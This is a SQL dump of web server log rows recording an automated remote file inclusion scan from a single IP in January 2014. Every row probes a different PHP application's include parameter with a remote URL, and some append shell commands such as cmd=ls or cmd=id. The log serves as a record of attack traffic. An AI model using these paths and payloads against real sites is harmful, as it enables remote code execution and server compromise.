(49992, '2014-01-04 13:21:17', '/OpenSiteAdmin/scripts/classes/FormManager.php?path=http://www.google.com/humans.txt?%00', '', '', '', 0, '96.30.5.88', 3, 0),
(49993, '2014-01-04 13:21:17', '/OpenSiteAdmin/scripts/classes/LoginManager.php?path=http://www.google.com/humans.txt?%00', '', '', '', 0, '96.30.5.88', 3, 0),
(49994, '2014-01-04 13:21:18', '/PHP/includes/header.inc.php?root=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49995, '2014-01-04 13:21:20', '/Path_Script/createurl.php?formurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49996, '2014-01-04 13:21:20', '/PhotoCart/adminprint.php?admin_folder=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49997, '2014-01-04 13:21:21', '/Picssolution/install/config.php?path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49998, '2014-01-04 13:21:21', '/RGboard/include/footer.php?_path[counter]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(49999, '2014-01-04 13:21:22', '/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50000, '2014-01-04 13:21:22', '/SQuery/lib/gore.php?libpath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50001, '2014-01-04 13:21:23', '/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50002, '2014-01-04 13:21:23', '/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50003, '2014-01-04 13:21:24', '/ScriptPage/source/includes/load_forum.php?mfh_root_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50004, '2014-01-04 13:21:26', '/Script_Path/config.inc.php?_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50005, '2014-01-04 13:21:28', '/Somery/team.php?checkauth=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50006, '2014-01-04 13:21:28', '/Upload/install.php?skindir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50007, '2014-01-04 13:21:30', '/Widgets/Base/widget.BifContainer.php?sys_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50008, '2014-01-04 13:21:30', '/Widgets/Base/widget.BifRoot.php?sys_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50009, '2014-01-04 13:21:32', '/Widgets/Base/widget.BifRoot3.php?sys_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50010, '2014-01-04 13:21:33', '/Widgets/Base/widget.BifWarning.php?sys_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50011, '2014-01-04 13:21:36', '/_administration/securite.php?cfg[document_uri]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50012, '2014-01-04 13:21:37', '/_blogadata/include/struct_admin.php?incl_page=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50013, '2014-01-04 13:21:38', '/_conf/_php-core/common-tpl-vars.php?admindir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50014, '2014-01-04 13:21:38', '/_connect.php?root=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50015, '2014-01-04 13:21:39', '/_friendly/core/data/_load.php?friendly_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50016, '2014-01-04 13:21:39', '/_friendly/core/data/yaml.inc.php?friendly_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50017, '2014-01-04 13:21:40', '/_friendly/core/display/_load.php?friendly_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50018, '2014-01-04 13:21:41', '/_friendly/core/support/_load.php?friendly_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50019, '2014-01-04 13:21:42', '/_functions.php?prefix=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50020, '2014-01-04 13:21:42', '/_includes/settings.inc.php?approot=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50021, '2014-01-04 13:21:43', '/_theme/breadcrumb.php?rootBase=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50022, '2014-01-04 13:21:43', '/_wk/wk_lang.php?WK[wkPath]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50023, '2014-01-04 13:21:45', '/about.php?CONFIG[MWCHAT_Libs]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50024, '2014-01-04 13:21:45', '/about.php?bibtexrootrel=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50025, '2014-01-04 13:21:47', '/acc.php?page=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50026, '2014-01-04 13:21:48', '/access/login.php?path_to_root=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50027, '2014-01-04 13:21:48', '/account.php?insPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50028, '2014-01-04 13:21:49', '/accsess/login.php?path_to_root=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50029, '2014-01-04 13:21:50', '/ad_main.php?_mygamefile=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50030, '2014-01-04 13:21:51', '/add.cgi.php?blog_theme=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50031, '2014-01-04 13:21:52', '/add_link.php?blog_theme=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50032, '2014-01-04 13:21:52', '/addpost_newpoll.php?addpoll=preview&thispath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50033, '2014-01-04 13:21:53', '/addressbook.php?GLOBALS[basedir]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50034, '2014-01-04 13:21:53', '/addsite.php?returnpath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50035, '2014-01-04 13:21:54', '/addvip.php?msetstr[\\"PROGSDIR\\"]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50036, '2014-01-04 13:21:58', '/admin.php?Madoa=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50037, '2014-01-04 13:21:58', '/admin.php?cal_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50038, '2014-01-04 13:21:59', '/admin.php?env_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50039, '2014-01-04 13:21:59', '/admin.php?lang=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50040, '2014-01-04 13:22:00', '/admin.php?page[path]=http://www.google.com/humans.txt?&cmd=ls', '', '', '', 0, '96.30.5.88', 3, 0),
(50041, '2014-01-04 13:22:01', '/admin.php?submit=submit&form_include_template=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50042, '2014-01-04 13:22:01', '/admin/PLUGINs/NP_UserSharing.php?DIR_ADMIN=http://www.google.com/humans.txt?admin', '', '', '', 0, '96.30.5.88', 3, 0),
(50043, '2014-01-04 13:22:02', '/admin/ST_countries.php?include_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50044, '2014-01-04 13:22:02', '/admin/ST_platforms.php?include_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50045, '2014-01-04 13:22:03', '/admin/addons/archive/archive.php?adminfolder=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50046, '2014-01-04 13:22:03', '/admin/admin.php?path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50047, '2014-01-04 13:22:04', '/admin/admin.php?site_url=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50048, '2014-01-04 13:22:05', '/admin/admin_forgotten_password.php?root_folder_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50049, '2014-01-04 13:22:05', '/admin/admin_news_bot.php?root_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50050, '2014-01-04 13:22:06', '/admin/auth.php?xcart_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50052, '2014-01-04 13:22:07', '/admin/autoprompter.php?CONFIG[BASE_PATH]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50053, '2014-01-04 13:22:08', '/admin/bin/patch.php?INSTALL_FOLDER=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50054, '2014-01-04 13:22:08', '/admin/catagory.php?language=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50055, '2014-01-04 13:22:09', '/admin/classes/pear/OLE/PPS.php?homedir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50056, '2014-01-04 13:22:09', '/admin/classes/pear/OLE/PPS/File.php?homedir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50058, '2014-01-04 13:22:11', '/admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50063, '2014-01-04 13:22:16', '/admin/comment.php?config[installdir]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50064, '2014-01-04 13:22:17', '/admin/common-menu.php?CONF[local_path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50065, '2014-01-04 13:22:17', '/admin/components/com_fm/fm.install.php?lm_absolute_path=../../../&install_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50069, '2014-01-04 13:22:20', '/admin/frontpage_right.php?loadadminpage=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50070, '2014-01-04 13:22:21', '/admin/header.php?loc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50080, '2014-01-04 13:22:32', '/admin/news.admin.php?path_to_script=http://www.google.com/humans.txt?&cmd=ls', '', '', '', 0, '96.30.5.88', 3, 0),
(50081, '2014-01-04 13:22:33', '/admin/news.php?language=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50083, '2014-01-04 13:22:35', '/admin/setup/level2.php?dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50084, '2014-01-04 13:22:35', '/admin/system/config/conf-activation.php?site_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50085, '2014-01-04 13:22:36', '/admin/system/include.php?skindir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50090, '2014-01-04 13:22:42', '/admin/user_user.php?language=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50095, '2014-01-04 13:22:50', '/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50097, '2014-01-04 13:22:57', '/administrator/components/com_color/admin.color.php?mosConfig_live_site=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50098, '2014-01-04 13:22:57', '/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(50959, '2014-01-04 13:37:09', '/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50960, '2014-01-04 13:37:13', '/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50961, '2014-01-04 13:37:14', '/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50962, '2014-01-04 13:37:14', '/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50963, '2014-01-04 13:37:15', '/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50964, '2014-01-04 13:37:15', '/phplinks/includes/smarty.php?full_path_to_public_program=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50965, '2014-01-04 13:37:16', '/phporacleview/inc/include_all.inc.php?page_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50966, '2014-01-04 13:37:17', '/phppc/poll.php?is_phppc_included=1&relativer_pfad=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50967, '2014-01-04 13:37:18', '/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50968, '2014-01-04 13:37:19', '/phpquickgallery/gallery_top.inc.php?textFile=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50969, '2014-01-04 13:37:20', '/phpreactor/inc/polls.inc.php?pathtohomedir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50970, '2014-01-04 13:37:22', '/phpreactor/inc/view.inc.php?pathtohomedir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50971, '2014-01-04 13:37:23', '/phpress/adisplay.php?lang=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50972, '2014-01-04 13:37:24', '/phpunity-postcard.php?plgallery_epost=1&gallery_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50973, '2014-01-04 13:37:25', '/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50974, '2014-01-04 13:37:28', '/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50975, '2014-01-04 13:37:29', '/pirvate/ltwpdfmonth.php?ltw_config[\\''include_dir]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50976, '2014-01-04 13:37:31', '/plugin/gateway/gnokii/init.php?apps_path[plug]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50977, '2014-01-04 13:37:32', '/plugins/1_Adressbuch/delete.php?folder=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50978, '2014-01-04 13:37:33', '/plugins/BackUp/Archive.php?bkpwp_plugin_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50979, '2014-01-04 13:37:34', '/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50980, '2014-01-04 13:37:34', '/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50981, '2014-01-04 13:37:35', '/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50982, '2014-01-04 13:37:35', '/plugins/links/functions.inc?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50983, '2014-01-04 13:37:36', '/plugins/polls/functions.inc?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50984, '2014-01-04 13:37:37', '/plugins/rss_importer_functions.php?sitepath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50985, '2014-01-04 13:37:37', '/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50986, '2014-01-04 13:37:37', '/plugins/safehtml/safehtml.php?dir[plugins]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50987, '2014-01-04 13:37:38', '/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50988, '2014-01-04 13:37:39', '/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50989, '2014-01-04 13:37:40', '/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50990, '2014-01-04 13:37:40', '/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50991, '2014-01-04 13:37:41', '/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50992, '2014-01-04 13:37:41', '/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50993, '2014-01-04 13:37:43', '/plugins/spamx/LogView.Admin.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50994, '2014-01-04 13:37:44', '/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50995, '2014-01-04 13:37:45', '/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50996, '2014-01-04 13:37:47', '/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50997, '2014-01-04 13:37:48', '/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls&_PX_config[manager_path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(50998, '2014-01-04 13:37:50', '/pmi_v28/Includes/global.inc.php?strIncludePrefix=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(51000, '2014-01-04 13:37:52', '/podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(51003, '2014-01-04 13:37:55', '/podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(51006, '2014-01-04 13:37:58', '/podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51007, '2014-01-04 13:37:58', '/podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51008, '2014-01-04 13:37:59', '/podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51009, '2014-01-04 13:38:00', '/podcastgen1.0beta2/core/archive_cat.php?absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51010, '2014-01-04 13:38:00', '/podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51011, '2014-01-04 13:38:01', '/podcastgen1.0beta2/core/recent_list.php?absoluteurl=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51012, '2014-01-04 13:38:01', '/poll/view.php?int_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51013, '2014-01-04 13:38:03', '/pop.php?base=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51014, '2014-01-04 13:38:04', '/popup_window.php?site_isp_root=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51015, '2014-01-04 13:38:04', '/pollvote.php?pollname=http://www.google.com/humans.txt?&cmd=ls', '', '', '', 0, '96.30.5.88', 3, 0),
(51016, '2014-01-04 13:38:04', '/port.php?content=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51017, '2014-01-04 13:38:05', '/portfolio.php?id=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51018, '2014-01-04 13:38:06', '/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51019, '2014-01-04 13:38:07', '/prepare.php?xcart_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51020, '2014-01-04 13:38:07', '/prepend.php?_PX_config[manager_path]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51021, '2014-01-04 13:38:08', '/preview.php?php_script_path=http://www.google.com/humans.txt?&cmd=dir', '', '', '', 0, '96.30.5.88', 3, 0),
(51022, '2014-01-04 13:38:08', '/principal.php?conteudo=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51023, '2014-01-04 13:38:09', '/print.php?page=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51024, '2014-01-04 13:38:09', '/print.php?pager=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51025, '2014-01-04 13:38:10', '/print.php?print=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51026, '2014-01-04 13:38:10', '/process.php?DEFAULT_SKIN=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51027, '2014-01-04 13:38:16', '/psynch/nph-psa.exe?css=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51028, '2014-01-04 13:38:16', '/psynch/nph-psf.exe?css=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51029, '2014-01-04 13:38:17', '/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51030, '2014-01-04 13:38:17', '/public_html/modules/Forums/favorites.php?nuke_bb_root_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51031, '2014-01-04 13:38:18', '/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51032, '2014-01-04 13:38:19', '/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51033, '2014-01-04 13:38:19', '/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51034, '2014-01-04 13:38:20', '/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51035, '2014-01-04 13:38:20', '/qte_web.php?qte_web_path=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51036, '2014-01-04 13:38:21', '/quickie.php?QUICK_PATH=http://www.google.com/humans.txt?&cmd=id', '', '', '', 0, '96.30.5.88', 3, 0),
(51037, '2014-01-04 13:38:22', '/random2.php?path_to_folder=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0);
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(51038, '2014-01-04 13:38:23', '/rdf.php?page[path]=http://www.google.com/humans.txt?&cmd=ls', '', '', '', 0, '96.30.5.88', 3, 0),
(51039, '2014-01-04 13:38:23', '/reactivate.php?base_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51040, '2014-01-04 13:38:24', '/read.php?data=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51041, '2014-01-04 13:38:26', '/recent.php?insPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51042, '2014-01-04 13:38:26', '/rechnung.php?_PHPLIB[libdir]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51043, '2014-01-04 13:38:29', '/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51044, '2014-01-04 13:38:29', '/register.php?base_dir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51045, '2014-01-04 13:38:30', '/rempass.php?lang=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51046, '2014-01-04 13:38:31', '/report.php?scriptpath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51047, '2014-01-04 13:38:31', '/reports/who_r.php?bj=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51048, '2014-01-04 13:38:32', '/ressourcen/dbopen.php?home=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51049, '2014-01-04 13:38:32', '/robotstats.inc.php?DOCUMENT_ROOT=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51050, '2014-01-04 13:38:33', '/root/public/code/cp_html2txt.php?page=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51051, '2014-01-04 13:38:33', '/routines/fieldValidation.php?jssShopFileSystem=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51052, '2014-01-04 13:38:34', '/rspa/framework/Controller_v4.php?__ClassPath=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51053, '2014-01-04 13:38:34', '/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51054, '2014-01-04 13:38:40', '/s01.php?shopid=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51055, '2014-01-04 13:38:41', '/s02.php?shopid=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51056, '2014-01-04 13:38:43', '/s03.php?shopid=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51057, '2014-01-04 13:38:43', '/s04.php?shopid=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51058, '2014-01-04 13:38:44', '/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51059, '2014-01-04 13:38:44', '/sablonlar/gunaysoft/gunaysoft.php?sayfaid=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51060, '2014-01-04 13:38:45', '/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51061, '2014-01-04 13:38:46', '/save.php?file_save=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51062, '2014-01-04 13:38:47', '/saveserver.php?thisdir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51063, '2014-01-04 13:38:48', '/script/_conf/core/common-tpl-vars.php?confdir=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51064, '2014-01-04 13:38:48', '/script/common.inc.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51065, '2014-01-04 13:38:49', '/script/ident/disconnect.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51066, '2014-01-04 13:38:51', '/script/ident/identification.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51067, '2014-01-04 13:38:51', '/script/ident/loginliste.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51068, '2014-01-04 13:38:52', '/script/ident/loginmodif.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
